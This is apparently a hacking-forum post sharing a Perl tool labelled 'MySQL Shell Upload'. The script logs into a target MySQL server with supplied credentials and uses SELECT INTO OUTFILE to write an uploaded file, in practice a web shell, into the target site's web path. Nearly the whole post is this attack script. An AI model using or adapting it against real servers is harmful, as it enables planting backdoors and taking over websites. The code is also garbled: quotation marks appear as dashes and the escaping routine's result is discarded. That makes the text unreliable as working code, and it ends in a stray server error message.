[Priv8] MySQL Shell Upload

#!/usr/bin/perl

PHP Kod:

#!/usr/bin/perl



use strict;

use warnings;

use DBI;

use DBD::mysql;

use IO::File;

use Term::ANSIColor qw(:constants);



sub main(){

print -\n┏━┓┏━┓╋╋╋┏━━━┓╋╋┏┓

┃┃┗┛┃┃╋╋╋┃┏━┓┃╋╋┃┃

┃┏┓┏┓┣┓╋┏┫┗━━┳━━┫┃

┃┃┃┃┃┃┃╋┃┣━━┓┃┏┓┃┃╋┏┓

┃┃┃┃┃┃┗━┛┃┗━┛┃┗┛┃┗━┛┃

┗┛┗┛┗┻━┓┏┻━━━┻━┓┣━━━┛

╋╋╋╋╋┏━┛┃╋╋╋╋╋╋┃┃

╋╋╋╋╋┗━━┛╋╋╋╋╋╋┗┛\n";

print -+++▲ Coded by SpyneT ▲\n";

print -+++▲ www.fb.com/SpyneT.Officielll ▲\n\n";

print BOLD BLUE,-\n[*]-,RESET,- [~] Information's Target [~]-;

print -\n\n\n";

print BOLD BLUE,-[*]-,RESET,- Host: -;

chomp(my $host = <stdin>);

print BOLD BLUE,-[*]-,RESET,- User: -;

chomp(my $user = <stdin>);

print BOLD BLUE,-[*]-,RESET,- Password: -;

chomp(my $pass = <stdin>);

print BOLD BLUE,-[*]-,RESET,- File of text , which will be uploaded to host : -;

chomp(my $arq = <stdin>);

print BOLD BLUE,-[*]-,RESET,- Path of site+Name of the final file:  -;

chomp(my $path = <stdin>);



my $dsn = "dbi:mysql::$host:3306";

my $dbh = DBI->connect($dsn, $user, $pass,{

 PrintError => 0,

 RaiseError => 0

});

if(!$dbh) { die(BOLD RED,-\n[-]-,RESET,- Connection error\n\n"); }



my $f = new IO::File;

$f->open(-<$arq") or die $!;

my @file = <$f>;

chomp(@file);

my $text = join(--,@file);

chomp($text);

&AddSlashes($text);

$f->close;



my $sth = $dbh->prepare('SELECT -- . $text . -- INTO OUTFILE --.$path.---);

if(!$sth->execute()){

print BOLD RED -\n[-]-,RESET,- Failed to make file\n\n";

exit;

} else {

print GREEN -\n[+]-,RESET,- File are create !!!\n\n";

exit;

}

}



sub AddSlashes()

{

    my $text = shift;

    $text =~ s/\\/\\\\/g;

    $text =~ s/-/\\-/g;

    $text =~ s/-/\\-/g;

    $text =~ s/\\0/\\\\0/g;

    return $text;

}



&main(); 

---

Warning: mysql_vb_spy(): supplied argument is not a valid MySQL result resource in/home/cloudflare/cloud/ajanlar.org/public_html/showthread.php on line 191